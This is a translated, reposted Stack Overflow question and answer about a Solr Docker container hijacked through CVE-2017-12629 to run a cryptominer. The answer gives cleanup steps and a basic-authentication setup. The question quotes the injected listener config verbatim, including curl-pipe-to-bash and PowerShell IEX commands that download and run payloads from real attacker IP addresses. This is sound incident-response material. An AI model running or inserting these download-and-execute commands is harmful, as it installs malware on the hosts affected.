gpt4 book ai didi

security - 解决方案异常 : Error loading class 'solr.RunExecutableListener' + '/var/tmp/sustes' process

转载 作者:行者123 更新时间:2023-12-02 08:05:24 29 4
gpt4 key购买 nike

史前史:

  1. 我 friend 的网站开始运行缓慢。
  2. 本网站使用 docker
  3. htop 告诉我,进程 /var/tmp/sustes 与用户 8983 加载的所有内核均已 100% 加载。试图找出什么是 sustes,但 Google 没有帮助,但是 8983 告诉 Solr 容器中的问题。
  4. 尝试从 v6. 更新 Solr?到 7.4 并收到消息:

    o.a.s.c.SolrCore 关闭时出错
    ...
    Caused by: org.apache.solr.common.SolrException: 错误加载类
    'solr.RunExecutableListener'

    回滚到 v6.6.4(作为 docker-hub 上唯一可用的 v6 https://hub.docker.com/_/solr/),因为站点应该继续工作。

  5. Docker 的日志中我发现:

    [x:default] o.a.s.c.S.SolrConfigHandler 成功执行配置命令并持久化到文件系统 [{"update-listener":{
    “执行”:“嘘”,
    “名称”:“newlistener-02”,
    “参数”:[
    -“C”,
    “curl -s http://192.99.142.226:8220/mr.sh | bash -sh”],
    “事件”:“新搜索器”,
    “类”:“solr.RunExecutableListener”,
    "dir":"/bin/"}}]

  6. 所以在 http://192.99.142.226:8220/mr.sh我们可以找到安装加密矿工的恶意软件代码(加密矿工配置:http://192.99.142.226:8220/wt.conf)。

  7. 使用链接 http://example.com:8983/solr/YOUR_CORE_NAME/config我们可以找到完整的配置,但现在我们只需要 listener 部分:

    “监听器”:[{
    “事件”:“新搜索器”,
    “类”:“solr.QuerySenderListener”,
    “查询”:[]},
    {
    “事件”:“第一搜索者”,
    “类”:“solr.QuerySenderListener”,
    “查询”:[]},
    {
    “执行”:“嘘”,
    “名称”:“newlistener-02”,
    “参数”:[“-c”,
    “curl -s http://192.99.142.226:8220/mr.sh | bash -sh”],
    “事件”:“新搜索器”,
    “类”:“solr.RunExecutableListener”,
    “目录”:“/bin/”},
    {
    “执行”:“嘘”,
    “名称”:“newlistener-25”,
    “参数”:[“-c”,
    “curl -s http://192.99.142.226:8220/mr.sh | bash -sh”],
    “事件”:“新搜索器”,
    “类”:“solr.RunExecutableListener”,
    “目录”:“/bin/”},
    {
    "exe":"cmd.exe",
    “名称”:“newlistener-00”,
    “参数”:[“/c”,
    "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.99.142.248:8220/1.ps1')"],
    “事件”:“新搜索器”,
    “类”:“solr.RunExecutableListener”,
    "dir":"cmd.exe"}],

  8. 由于我们在 solrconfig.xml 中没有这样的设置,我在 /opt/solr/server/solr/mycores/YOUR_CORE_NAME/conf/configoverlay.json 中找到了它们(这个文件的设置可以在http://example.com:8983/solr/YOUR_CORE_NAME/config/overlay找到

最佳答案

修复:

  1. 清理 configoverlay.json,或简单地删除此文件(rm/opt/solr/server/solr/mycores/YOUR_CORE_NAME/conf/configoverlay.json ).

  2. 重启 Solr(如何启动\停止 - https://lucene.apache.org/solr/guide/6_6/running-solr.html#RunningSolr-StarttheServer)或重启 docker 容器。


据我所知,由于CVE-2017-12629,这种攻击是可能的:

  1. 如何使用 CVE-2017-12629 攻击 Apache Solr - https://spz.io/2018/01/26/attack-apache-solr-using-cve-2017-12629/

  2. CVE-2017-12629:从 Solr 中删除 RunExecutableListener - https://issues.apache.org/jira/browse/SOLR-11482?attachmentOrder=asc

... 并在 v5.5.5、6.6.2+、7.1+ 中修复

这是由于免费提供 http://example.com:8983对于任何人,所以尽管这个漏洞是固定的,让...


  1. http://example.com:8983 添加保护

    基于 https://lucene.apache.org/solr/guide/6_6/basic-authentication-plugin.html#basic-authentication-plugin

    创建 security.json 使用:

    {
    “验证”:{
    “blockUnknown”:真实的,
    “类”:“solr.BasicAuthPlugin”,
    “凭证”:{“solr”:“IV0EHq1OnNrj6gvRCwvFwTrZ1+z1oBbnQdiVC3otuq0=
    Ndd7LKvVBAaZIF0QAVi1ekCfAJXr1GGfLtRUXhgrF8c="}
    },
    “授权”:{
    “类”:“solr.RuleBasedAuthorizationPlugin”,
    “权限”:[{“名称”:“安全编辑”,
    “角色”:“管理员”}],
    “用户角色”:{“solr”:“管理员”}
    }}

    此文件必须放在 /opt/solr/server/solr/(即 solr.xml 旁边)

    由于 Solr 有自己的哈希检查器(作为 sha256(password+salt) 哈希),这里不能使用典型的解决方案。我发现生成哈希的最简单方法是从此处下载 jar 文件 http://www.planetcobalt.net/sdb/solr_password_hash.shtml (在文章末尾)并将其作为 java -jar SolrPasswordHash.jar NewPassword 运行。

因为我使用docker-compose,所以我只是像这样构建Solr:

# project/dockerfiles/solr/Dockerfile
FROM solr:7.4
ADD security.json /opt/solr/server/solr/

# project/sources/docker-compose.yml (just Solr part)
solr:
build: ./dockerfiles/solr/
container_name: solr-container

# Check if 'default' core is created. If not, then create it.
entrypoint:
- docker-entrypoint.sh
- solr-precreate
- default

# Access to web interface from host to container, i.e 127.0.0.1:8983
ports:
- "8983:8983"
volumes:
- ./dockerfiles/solr/default:/opt/solr/server/solr/mycores/default # configs
- ../data/solr/default/data:/opt/solr/server/solr/mycores/default/data # indexes

关于security - 解决方案异常 : Error loading class 'solr.RunExecutableListener' + '/var/tmp/sustes' process,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/51982703/

29 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com